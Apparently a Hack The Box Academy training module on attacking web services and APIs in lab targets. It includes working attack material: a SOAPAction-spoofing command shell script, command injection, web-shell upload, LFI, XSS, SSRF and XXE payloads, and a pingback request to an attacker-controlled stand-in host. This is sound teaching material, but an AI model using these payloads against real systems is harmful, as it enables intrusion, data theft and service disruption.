18. Web Service & API Attacks
18. Web Service & API Attacks
As described by the World Wide Web Consortium (W3C): Web services provide a standard
means of interoperating between different software applications, running on a variety of
platforms and/or frameworks. Web services are characterized by their great interoperability
and extensibility, as well as their machine-processable descriptions thanks to the use of
XML.
Web services enable applications to communicate with each other. The applications can be
entirely different. Consider the following scenario:
One application written in Java is running on a Linux host and is using an Oracle
database
Another application written in C++ is running on a Windows host and is using an SQL
Server database
These two applications can communicate with each other over the internet with the help of
web services.
An application programming interface (API) is a set of rules that enables data transmission
between different software. The technical specification of each API dictates the data
exchange.
The interface through which these two pieces of software exchanged data is what the API
specifies.
You may think Web Services and APIs are quite similar, and you will be correct. See their
major differences below.
Web services are a type of application programming interface (API). The opposite is not
always true!
Web services need a network to achieve their objective. APIs can achieve their goal
even offline.
Web services rarely allow external developer access, and there are a lot of APIs that
welcome external developer tinkering.
Web services usually utilize SOAP for security reasons. APIs can be found using
different designs, such as XML-RPC, JSON-RPC, SOAP, and REST.
Web services usually utilize the XML format for data encoding. APIs can be found using
different formats to store data, with the most popular being JavaScript Object Notation
(JSON).
There are multiple approaches/technologies for providing and consuming web services:
XML-RPC
XML-RPC uses XML for encoding/decoding the remote procedure call (RPC) and
the respective parameter(s). HTTP is usually the transport of choice.
<?xml version="1.0"?>
<methodCall>
<methodName>examples.getStateName</methodName>
<params>
<param>
<value><i4>41</i4></value>
</param>
</params>
</methodCall>
<?xml version="1.0"?>
<methodResponse>
<params>
<param>
<value><string>South Dakota</string>
</value>
</param>
</params>
</methodResponse>
JSON-RPC
JSON-RPC uses JSON to invoke functionality. HTTP is usually the transport of
choice.
The {"method": "sum", "params": {"a":3, "b":4}, "id":0} object is serialized using
JSON. Note the three properties: method , params and id . method contains the name of
the method to invoke. params contains an array carrying the arguments to be passed. id
contains an identifier established by the client. The server must reply with the same value in
the response object if included.
Note: You may come across slightly different SOAP envelopes. Their anatomy will be the
same, though.
<tsRequest>
<credentials name="administrator" password="passw0rd">
<site contentUrl="" />
</credentials>
</tsRequest>
{
"credentials": {
"name": "administrator",
"password": "passw0rd",
"site": {
"contentUrl": ""
}
}
}
Similar API specifications/protocols exist, such as Remote Procedure Call (RPC), SOAP,
REST, gRPC, GraphQL, etc.
Do not feel overwhelmed! In the following sections, you will have the opportunity to interact
with different web services and APIs.
WSDL stands for Web Service Description Language. WSDL is an XML-based file exposed
by web services that informs clients of the provided services/methods, including where they
reside and the method-calling convention.
A web service's WSDL file should not always be accessible. Developers may not want to
publicly expose a web service's WSDL file, or they may expose it through an uncommon
location, following a security through obscurity approach. In the latter case,
directory/parameter fuzzing may reveal the location and content of a WSDL file.
Proceed to the end of this section and click on Click here to spawn the target
system! or the Reset Target icon. Use the provided Pwnbox or a local VM with the
supplied VPN key to reach the target service and follow along.
Let us start by performing basic directory fuzzing against the web service.
-----------------
DIRB v2.22
By The Dark Raver
-----------------
-----------------
GENERATED WORDS: 4612
-----------------
END_TIME: Fri Mar 25 11:53:24 2022
DOWNLOADED: 4612 - FOUND: 1
It looks like http://<TARGET IP>:3002/wsdl exists. Let us inspect its content as follows.
The response is empty! Maybe there is a parameter that will provide us with access to the
SOAP web service's WSDL file. Let us perform parameter fuzzing using ffuf and the burp-
parameter-names.txt list, as follows. -fs 0 filters out empty responses (size = 0) and -mc 200
matches HTTP 200 responses.
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
-u 'http://<TARGET IP>:3002/wsdl?FUZZ' -fs 0 -mc 200
:: Method : GET
:: URL : http://<TARGET IP>:3002/wsdl?FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-
Content/burp-parameter-names.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200
:: Filter : Response size: 0
________________________________________________
It looks like wsdl is a valid parameter. Let us now issue a request for http://<TARGET
IP>:3002/wsdl?wsdl
Note: WSDL files can be found in many forms, such as /example.wsdl , ?wsdl ,
/example.disco , ?disco etc. DISCO is a Microsoft technology for publishing and
discovering Web Services.
The above WSDL file follows the WSDL version 1.1 layout and consists of the following
elements.
Definition - The root element of all WSDL files. Inside the definition, the name of the
web service is specified, all namespaces used across the WSDL document are
declared, and all other service elements are defined.
<wsdl:definitions targetNamespace="http://tempuri.org/"
<wsdl:types></wsdl:types>
<wsdl:message name="LoginSoapIn"></wsdl:message>
<wsdl:portType name="HacktheBoxSoapPort">
<wsdl:operation name="Login"></wsdl:operation>
</wsdl:portType>
<wsdl:binding name="HacktheboxServiceSoapBinding"
type="tns:HacktheBoxSoapPort">
<wsdl:operation name="Login">
<soap:operation soapAction="Login"
style="document"/>
<wsdl:input></wsdl:input>
<wsdl:output></wsdl:output>
</wsdl:operation>
</wsdl:binding>
<wsdl:service name="HacktheboxService"></wsdl:service>
</wsdl:definitions>
<wsdl:types>
<s:schema elementFormDefault="qualified"
targetNamespace="http://tempuri.org/">
<s:element name="LoginRequest">
<s:complexType>
<s:sequence>
<s:element minOccurs="1"
maxOccurs="1" name="username" type="s:string"/>
<s:element minOccurs="1"
maxOccurs="1" name="password" type="s:string"/>
</s:sequence>
</s:complexType>
</s:element>
<s:element name="LoginResponse">
<s:complexType>
<s:sequence>
<s:element minOccurs="1"
maxOccurs="unbounded" name="result" type="s:string"/>
</s:sequence>
</s:complexType>
</s:element>
<s:element name="ExecuteCommandRequest">
<s:complexType>
<s:sequence>
<s:element minOccurs="1"
maxOccurs="1" name="cmd" type="s:string"/>
</s:sequence>
</s:complexType>
</s:element>
<s:element name="ExecuteCommandResponse">
<s:complexType>
<s:sequence>
<s:element minOccurs="1"
maxOccurs="unbounded" name="result" type="s:string"/>
</s:sequence>
</s:complexType>
</s:element>
</s:schema>
</wsdl:types>
Messages - Defines input and output operations that the web service supports. In other
words, through the messages element, the messages to be exchanged, are defined
and presented either as an entire document or as arguments to be mapped to a method
invocation.
<wsdl:portType name="HacktheBoxSoapPort">
<!-- Login Operaion | PORT -->
<wsdl:operation name="Login">
<wsdl:input message="tns:LoginSoapIn"/>
<wsdl:output message="tns:LoginSoapOut"/>
</wsdl:operation>
<!-- ExecuteCommand Operation | PORT -->
<wsdl:operation name="ExecuteCommand">
<wsdl:input message="tns:ExecuteCommandSoapIn"/>
<wsdl:output message="tns:ExecuteCommandSoapOut"/>
</wsdl:operation>
</wsdl:portType>
Binding - Binds the operation to a particular port type. Think of bindings as interfaces.
A client will call the relevant port type and, using the details provided by the binding, will
be able to access the operations bound to this port type. In other words, bindings
provide web service access details, such as the message format, operations,
messages, and interfaces (in the case of WSDL version 2.0).
<wsdl:binding name="HacktheboxServiceSoapBinding"
type="tns:HacktheBoxSoapPort">
<soap:binding
transport="http://schemas.xmlsoap.org/soap/http"/>
<!-- SOAP Login Action -->
<wsdl:operation name="Login">
<soap:operation soapAction="Login" style="document"/>
<wsdl:input>
<soap:body use="literal"/>
</wsdl:input>
<wsdl:output>
<soap:body use="literal"/>
</wsdl:output>
</wsdl:operation>
<!-- SOAP ExecuteCommand Action -->
<wsdl:operation name="ExecuteCommand">
<soap:operation soapAction="ExecuteCommand"
style="document"/>
<wsdl:input>
<soap:body use="literal"/>
</wsdl:input>
<wsdl:output>
<soap:body use="literal"/>
</wsdl:output>
</wsdl:operation>
</wsdl:binding>
Service - A client makes a call to the web service through the name of the service
specified in the service tag. Through this element, the client identifies the location of the
web service.
<wsdl:service name="HacktheboxService">
<wsdl:port name="HacktheboxServiceSoapPort"
binding="tns:HacktheboxServiceSoapBinding">
<soap:address location="http://localhost:80/wsdl"/>
</wsdl:port>
</wsdl:service>
In the SOAP Action Spoofing section, later on, we will see how we can leverage the
identified WSDL file to interact with the web service.
SOAPAction Spoofing
SOAP messages towards a SOAP service should include both the operation and the related
parameters. This operation resides in the first child element of the SOAP message's body. If
HTTP is the transport of choice, it is allowed to use an additional HTTP header called
SOAPAction, which contains the operation's name. The receiving web service can identify
the operation within the SOAP body through this header without parsing any XML.
If a web service considers only the SOAPAction attribute when determining the operation to
execute, then it may be vulnerable to SOAPAction spoofing.
Proceed to the end of this section and click on Click here to spawn the target
system! or the Reset Target icon. Use the provided Pwnbox or a local VM with the
supplied VPN key to reach the target web service and follow along.
Suppose we are assessing a SOAP web service, whose WSDL file resides in
http://<TARGET IP>:3002/wsdl?wsdl .
<wsdl:types>
<s:schema elementFormDefault="qualified"
targetNamespace="http://tempuri.org/">
<s:element name="LoginRequest">
<s:complexType>
<s:sequence>
<s:element minOccurs="1" maxOccurs="1" name="username"
type="s:string"/>
<s:element minOccurs="1" maxOccurs="1" name="password"
type="s:string"/>
</s:sequence>
</s:complexType>
</s:element>
<s:element name="LoginResponse">
<s:complexType>
<s:sequence>
<s:element minOccurs="1" maxOccurs="unbounded" name="result"
type="s:string"/>
</s:sequence>
</s:complexType>
</s:element>
<s:element name="ExecuteCommandRequest">
<s:complexType>
<s:sequence>
<s:element minOccurs="1" maxOccurs="1" name="cmd"
type="s:string"/>
</s:sequence>
</s:complexType>
</s:element>
<s:element name="ExecuteCommandResponse">
<s:complexType>
<s:sequence>
<s:element minOccurs="1" maxOccurs="unbounded" name="result"
type="s:string"/>
</s:sequence>
</s:complexType>
</s:element>
</s:schema>
</wsdl:types>
</wsdl:message>
<wsdl:message name="LoginSoapOut">
</wsdl:message>
<!-- ExecuteCommand Messages -->
<wsdl:message name="ExecuteCommandSoapIn">
</wsdl:message>
<wsdl:message name="ExecuteCommandSoapOut">
</wsdl:message>
<wsdl:portType name="HacktheBoxSoapPort">
<wsdl:input message="tns:LoginSoapIn"/>
<wsdl:output message="tns:LoginSoapOut"/>
</wsdl:operation>
<wsdl:input message="tns:ExecuteCommandSoapIn"/>
<wsdl:output message="tns:ExecuteCommandSoapOut"/>
</wsdl:operation>
</wsdl:portType>
<wsdl:binding name="HacktheboxServiceSoapBinding"
type="tns:HacktheBoxSoapPort">
<soap:binding transport="http://schemas.xmlsoap.org/soap/http"/>
<!-- SOAP Login Action -->
<wsdl:operation name="Login">
<wsdl:input>
<soap:body use="literal"/>
</wsdl:input>
<wsdl:output>
<soap:body use="literal"/>
</wsdl:output>
</wsdl:operation>
<wsdl:input>
<soap:body use="literal"/>
</wsdl:input>
<wsdl:output>
<soap:body use="literal"/>
</wsdl:output>
</wsdl:operation>
</wsdl:binding>
<wsdl:service name="HacktheboxService">
<wsdl:port name="HacktheboxServiceSoapPort"
binding="tns:HacktheboxServiceSoapBinding">
<soap:address location="http://localhost:80/wsdl"/>
</wsdl:port>
</wsdl:service>
</wsdl:definitions>
<wsdl:operation name="ExecuteCommand">
<soap:operation soapAction="ExecuteCommand" style="document"/>
<s:element name="ExecuteCommandRequest">
<s:complexType>
<s:sequence>
<s:element minOccurs="1" maxOccurs="1" name="cmd" type="s:string"/>
</s:sequence>
</s:complexType>
</s:element>
We notice that there is a cmd parameter. Let us build a Python script to issue requests (save
it as client.py ). Note that the below script will try to have the SOAP service execute a
whoami command.
import requests
python3 client.py
b'<?xml version="1.0" encoding="utf-8"?><soap:Envelope
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:tns="http://tempuri.org/"
xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/"><soap:Body>
<ExecuteCommandResponse xmlns="http://tempuri.org/">
<success>false</success><error>This function is only allowed in internal
networks</error></ExecuteCommandResponse></soap:Body></soap:Envelope>'
We get an error mentioning This function is only allowed in internal networks. We have no
access to the internal networks. Does this mean we are stuck? Not yet! Let us try a
SOAPAction spoofing attack, as follows.
Let us build a new Python script for our SOAPAction spoofing attack (save it as
client_soapaction_spoofing.py ).
import requests
If the web service determines the operation to be executed based solely on the SOAPAction
header, we may bypass the restrictions and have the SOAP service execute a whoami
command.
python3 client_soapaction_spoofing.py
b'<?xml version="1.0" encoding="utf-8"?><soap:Envelope
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:tns="http://tempuri.org/"
xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/"><soap:Body>
<LoginResponse xmlns="http://tempuri.org/"><success>true</success>
<result>root\n</result></LoginResponse></soap:Body></soap:Envelope>'
Our whoami command was executed successfully, bypassing the restrictions through
SOAPAction spoofing!
If you want to be able to specify multiple commands and see the result each time, use the
following Python script (save it as automate.py ).
import requests
while True:
cmd = input("$ ")
payload = f'<?xml version="1.0" encoding="utf-8"?><soap:Envelope
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:tns="http://tempuri.org/"
xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/"><soap:Body>
<LoginRequest xmlns="http://tempuri.org/"><cmd>{cmd}</cmd></LoginRequest>
</soap:Body></soap:Envelope>'
print(requests.post("http://<TARGET IP>:3002/wsdl", data=payload,
headers={"SOAPAction":'"ExecuteCommand"'}).content)
python3 automate.py
$ id
b'<?xml version="1.0" encoding="utf-8"?><soap:Envelope
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:tns="http://tempuri.org/"
xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/"><soap:Body>
<LoginResponse xmlns="http://tempuri.org/"><success>true</success>
<result>uid=0(root) gid=0(root) groups=0(root)\n</result></LoginResponse>
</soap:Body></soap:Envelope>'
$
Command Injection
Command injections are among the most critical vulnerabilities in web services. They allow
system command execution directly on the back-end server. If a web service uses user-
controlled input to execute a system command on the back-end server, an attacker may be
able to inject a malicious payload to subvert the intended command and execute his own.
Let us assess together a web service that is vulnerable to command injection.
You may have come across connectivity-checking web services in router admin panels or
even websites that merely execute a ping command towards a website of your choosing.
Proceed to the end of this section and click on Click here to spawn the target
system! or the Reset Target icon. Use the provided Pwnbox or a local VM with the
supplied VPN key to reach the target service and follow along.
Note: The web service we are about to assess does not follow the web service architectural
designs/approaches we covered. It is quite close to a normal web service, though, as it
provides its functionality in a programmatic way, and different clients can use it for
connectivity-checking purposes.
<?php
function ping($host_url_ip, $packets) {
if (!in_array($packets, array(1, 2, 3, 4))) {
die('Only 1-4 packets!');
}
$cmd = "ping -c" . $packets . " " . escapeshellarg($host_url);
$delimiter = "\n" . str_repeat('-', 50) . "\n";
echo $delimiter . implode($delimiter, array("Command:", $cmd,
"Returned:", shell_exec($cmd)));
}
A function called ping is defined, which takes two arguments host_url_ip and packets.
The request should look similar to the following. http://<TARGET IP>:3003/ping-
server.php/ping/<VPN/TUN Adapter IP>/3 . To check that the web service is
sending ping requests, execute the below in your attacking machine and then issue the
request.
The code also checks if the packets's value is more than 4, and it does that via an
array. So if we issue a request such as http://<TARGET IP>:3003/ping-
server.php/ping/<VPN/TUN Adapter IP>/3333 , we're going to get an Only 1-4
packets! error.
A variable called cmd is then created, which forms the ping command to be executed.
Two values are "parsed", packets and host_url. escapeshellarg() is used to escape the
host_url's value. According to PHP's function reference, escapeshellarg() adds single
quotes around a string and quotes/escapes any existing single quotes allowing you to
pass a string directly to a shell function and having it be treated as a single safe
argument. This function should be used to escape individual arguments to shell
functions coming from user input. The shell functions include exec(), system()
shell_exec() and the backtick operator. If the host_url's value was not escaped, the
below could happen.
The command specified by the cmd parameter is executed with the help of the
shell_exec() PHP function.
If the request method is GET, an existing function can be called with the help of
call_user_func_array(). The call_user_func_array() function is a special way to call an
existing PHP function. It takes a function to call as its first parameter, then takes an
array of parameters as its second parameter. This means that instead of
http://<TARGET IP>:3003/ping-server.php/ping/www.example.com/3 an attacker
could issue a request as follows. http://<TARGET IP>:3003/ping-
server.php/system/ls . This constitutes a command injection vulnerability!
We will receive a 403 faultCode error if the credentials are not valid.
You may ask how we identified the correct method to call ( system.listMethods). We did that
by going through the well-documented Wordpress code and interacting with xmlrpc.php , as
follows.
Inside the list of available methods above, pingback.ping is included. pingback.ping allows
for XML-RPC pingbacks. According to WordPress, a pingback is a special type of comment
that’s created when you link to another blog post, as long as the other blog is set to accept
pingbacks.
As soon as the below request is sent, the attacker-controlled host will receive a request
(pingback) originating from http://blog.inlanefreight.com, verifying the pingback and exposing
http://blog.inlanefreight.com's public IP address.
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value><string>http://attacker-controlled-host.com/</string></value>
</param>
<param>
<value><string>https://blog.inlanefreight.com/2015/10/what-is-
cybersecurity/</string></value>
</param>
</params>
</methodCall>
If you have access to our Hacking Wordpress module, please note that you won't be able to
exploit the availability of the pingback.ping method against the related section's target,
due to egress restrictions.
When assessing a web service or API for information disclosure, we should spend
considerable time on fuzzing.
Information Disclosure through Fuzzing
Proceed to the end of this section and click on Click here to spawn the target
system! or the Reset Target icon. Use the provided Pwnbox or a local VM with the
supplied VPN key to reach the target API and follow along.
Maybe there is a parameter that will reveal the API's functionality. Let us perform parameter
fuzzing using ffuf and the burp-parameter-names.txt list, as follows.
:: Method : GET
:: URL : http://<TARGET IP>:3003/?FUZZ=test_value
:: Wordlist : FUZZ: /home/htb-acxxxxx/Desktop/Useful
Repos/SecLists/Discovery/Web-Content/burp-parameter-names.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________
We notice a similar response size in every request. This is because supplying any parameter
will return the same text, not an error like 404.
:: Method : GET
:: URL : http://<TARGET IP>:3003/?FUZZ=test_value
:: Wordlist : FUZZ: /home/htb-acxxxxx/Desktop/Useful
Repos/SecLists/Discovery/Web-Content/burp-parameter-names.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response size: 19
________________________________________________
It looks like id is a valid parameter. Let us check the response when specifying id as a
parameter and a test value.
def brute():
try:
value = range(10000)
for val in value:
url = sys.argv[1]
r = requests.get(url + '/?id='+str(val))
if "position" in r.text:
print("Number found!", val)
print(r.text)
except IndexError:
print("Enter a URL E.g.: http://<TARGET IP>:3003/")
brute()
We import two modules requests and sys. requests allows us to make HTTP requests
(GET, POST, etc.), and sys allows us to parse system arguments.
We define a function called brute, and then we define a variable called value which has
a range of 10000. try and except help in exception handling.
url = sys.argv[1] receives the first argument.
r = requests.get(url + '/?id='+str(val)) creates a response object called r which will allow
us to get the response of our GET request. We are just appending /?id= to our request
and then val follows, which will have a value in the specified range.
if "position" in r.text: looks for the position string in the response. If we enter a valid ID, it
will return the position and other information. If we don't, it will return [].
Now you can proceed to the end of this section and answer the first question!
TIP: If there is a rate limit in place, you can always try to bypass it through headers such as
X-Forwarded-For, X-Forwarded-IP, etc., or use proxies. These headers have to be compared
with an IP most of the time. See an example below.
<?php
$whitelist = array("127.0.0.1", "1.3.3.7");
if(!(in_array($_SERVER['HTTP_X_FORWARDED_FOR'], $whitelist)))
{
header("HTTP/1.1 401 Unauthorized");
}
else
{
print("Hello Developer team! As you know, we are working on building a
way for users to see website pages in real pages but behind our own
Proxies!");
}
The issue here is that the code compares the HTTP_X_FORWARDED_FOR header to the
possible whitelist values, and if the HTTP_X_FORWARDED_FOR is not set or is set without
one of the IPs from the array, it'll give a 401. A possible bypass could be setting the X-
Forwarded-For header and the value to one of the IPs from the array.
Arbitrary file uploads are among the most critical vulnerabilities. These flaws enable
attackers to upload malicious files, execute arbitrary commands on the back-end server, and
even take control over the entire server. Arbitrary file upload vulnerabilities affect web
applications and APIs alike.
When we browse the application, an anonymous file uploading functionality sticks out.
Let us create the below file (save it as backdoor.php ) and try to upload it via the available
functionality.
The above allows us to append the parameter cmd to our request (to backdoor.php), which
will be executed using system(). This is if we can determine backdoor.php's location, if
backdoor.php will be rendered successfully and if no PHP function restrictions exist.
backdoor.php was successfully uploaded via a POST request to /api/upload/ . An
API seems to be handling the file uploading functionality of the application.
The content type has been automatically set to application/x-php , which means
there is no protection in place. The content type would probably be set to
application/octet-stream or text/plain if there was one.
Uploading a file with a .php extension is also allowed. If there was a limitation on the
extensions, we could try extensions such as .jpg.php , .PHP , etc.
Using something like file_get_contents() to identify php code being uploaded seems not
in place either.
We also receive the location where our file is stored, http://<TARGET
IP>:3001/uploads/backdoor.php .
We can use the below Python script (save it as web_shell.py ) to obtain a shell, leveraging
the uploaded backdoor.php file.
Local File Inclusion (LFI) is an attack that affects web applications and APIs alike. It allows
an attacker to read internal files and sometimes execute code on the server via a series of
ways, one being Apache Log Poisoning . Our File Inclusion module covers LFI in detail.
Proceed to the end of this section and click on Click here to spawn the target
system! or the Reset Target icon. Use the provided Pwnbox or a local VM with the
supplied VPN key to reach the target API and follow along.
We don't see anything helpful except the indication that the API is up and running. Let us
perform API endpoint fuzzing using ffuf and the common-api-endpoints-mazen160.txt list, as
follows.
:: Method : GET
:: URL : http://<TARGET IP>:3000/api/FUZZ
:: Wordlist : FUZZ: /home/htb-acxxxxx/Desktop/Useful
Repos/SecLists/Discovery/Web-Content/common-api-endpoints-mazen160.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________
It looks like /api/download is a valid API endpoint. Let us interact with it.
We need to specify a file, but we do not have any knowledge of stored files or their naming
scheme. We can try mounting a Local File Inclusion (LFI) attack, though.
curl "http://<TARGET
IP>:3000/api/download/..%2f..%2f..%2f..%2fetc%2fhosts"
127.0.0.1 localhost
127.0.1.1 nix01-websvc
Cross-Site Scripting (XSS) vulnerabilities affect web applications and APIs alike. An XSS
vulnerability may allow an attacker to execute arbitrary JavaScript code within the target's
browser and result in complete web application compromise if chained together with other
vulnerabilities. Our Cross-Site Scripting (XSS) module covers XSS in detail.
Proceed to the end of this section and click on Click here to spawn the target
system! or the Reset Target icon. Use the provided Pwnbox or a local VM with the
supplied VPN key to reach the target API and follow along.
Suppose we are having a better look at the API of the previous section, http://<TARGET
IP>:3000/api/download .
Let us first interact with it through the browser by requesting the below.
Let us see what happens when we enter a payload such as the below (instead of
test_value).
<script>alert(document.domain)</script>
It looks like the application is encoding the submitted payload. We can try URL-encoding our
payload once and submitting it again, as follows.
%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Now our submitted JavaScript payload is evaluated successfully. The API endpoint is
vulnerable to XSS!
Server-Side Request Forgery (SSRF) attacks, listed in the OWASP top 10, allow us to abuse
server functionality to perform internal or external resource requests on behalf of the server.
We usually need to supply or modify URLs used by the target application to read or submit
data. Exploiting SSRF vulnerabilities can lead to:
We can usually find SSRF vulnerabilities in applications or APIs that fetch remote resources.
Our Server-side Attacks module covers SSRF in detail.
As we have mentioned multiple times, though, we should fuzz every identified parameter,
even if it does not seem tasked with fetching remote resources.
Proceed to the end of this section and click on Click here to spawn the target
system! or the Reset Target icon. Use the provided Pwnbox or a local VM with the
supplied VPN key to reach the target API and follow along.
The API is expecting a parameter called id. Since we are interested in identifying SSRF
vulnerabilities in this section, let us set up a Netcat listener first.
nc -nlvp 4444
listening on [any] 4444 ...
Then, let us specify http://<VPN/TUN Adapter IP>:<LISTENER PORT> as the value of the
id parameter and make an API call.
In many cases, APIs expect parameter values in a specific format/encoding. Let us try
Base64-encoding http://<VPN/TUN Adapter IP>:<LISTENER PORT> and making an API
call again.
When you make the API call, you will notice a connection being made to your Netcat listener.
The API is vulnerable to SSRF.
nc -nlvp 4444
listening on [any] 4444 ...
connect to [<VPN/TUN Adapter IP>] from (UNKNOWN) [<TARGET IP>] 50542
GET / HTTP/1.1
Accept: application/json, text/plain, */*
User-Agent: axios/0.24.0
Host: <VPN/TUN Adapter IP>:4444
Connection: close
Suppose we have a user that submits benign input to an API. On the server side, a
developer could match any input against a regular expression. After a usually constant
amount of time, the API responds. In some instances, an attacker may be able to cause
significant delays in the API's response time by submitting a crafted payload that tries to
exploit some particularities/inefficiencies of the regular expression matching engine. The
longer this crafted payload is, the longer the API will take to respond. Exploiting such "evil"
patterns in a regular expression to increase evaluation time is called a Regular Expression
Denial of Service (ReDoS) attack.
Proceed to the end of this section and click on Click here to spawn the target
system! or the Reset Target icon. Use the provided Pwnbox or a local VM with the
supplied VPN key to reach the target application and follow along.
The API resides in http://<TARGET IP>:3000/api/check-email and accepts a parameter
called email.
The second and third groups are doing bad iterative checks.
Let's submit the following valid value and see how long the API takes to respond.
You will notice that the API takes several seconds to respond and that longer payloads
increase the evaluation time.
The difference in response time between the first cURL command above and the second is
significant.
Proceed to the end of this section and click on Click here to spawn the target
system! or the Reset Target icon. Use the provided Pwnbox or a local VM with the
supplied VPN key to reach the target application and follow along.
burpsuite
Activate burp suite's proxy ( Intercept On) and configure your browser to go through it.
Now let us try authenticating. We should see the below inside Burp Suite's proxy.
POST /api/login/ HTTP/1.1
Host: <TARGET IP>:3001
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101
Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/plain;charset=UTF-8
Content-Length: 111
Origin: http://<TARGET IP>:3001
DNT: 1
Connection: close
Referer: http://<TARGET IP>:3001/
Sec-GPC: 1
We notice that an API is handling the user authentication functionality of the application.
User authentication is generating XML data.
Let us try crafting an exploit to read internal files such as /etc/passwd on the server.
What is a DOCTYPE?
DTD stands for Document Type Definition. A DTD defines the structure and the legal
elements and attributes of an XML document. A DOCTYPE declaration can also be used to
define special characters or strings used in the document. The DTD is declared within the
optional DOCTYPE element at the start of the XML document. Internal DTDs exist, but DTDs
can be loaded from an external resource (external DTD).
We have called our external entity somename, and it will use the SYSTEM keyword, which
must have the value of a URL, or we can try using a URI scheme/protocol such as file://
to call internal files.
nc -nlvp 4444
listening on [any] 4444 ...
Now let us make an API call containing the payload we crafted above.
We notice no connection being made to our listener. This is because we have defined our
external entity, but we haven't tried to use it. We can do that as follows.
After the call to the API, you will notice a connection being made to the listener.
nc -nlvp 4444
listening on [any] 4444 ...
connect to [<VPN/TUN Adapter IP>] from (UNKNOWN) [<TARGET IP>] 54984
GET / HTTP/1.0
Host: <VPN/TUN Adapter IP>:4444
Connection: close
Assess the target, identify an SQL Injection vulnerability through SOAP messages and
answer the question below.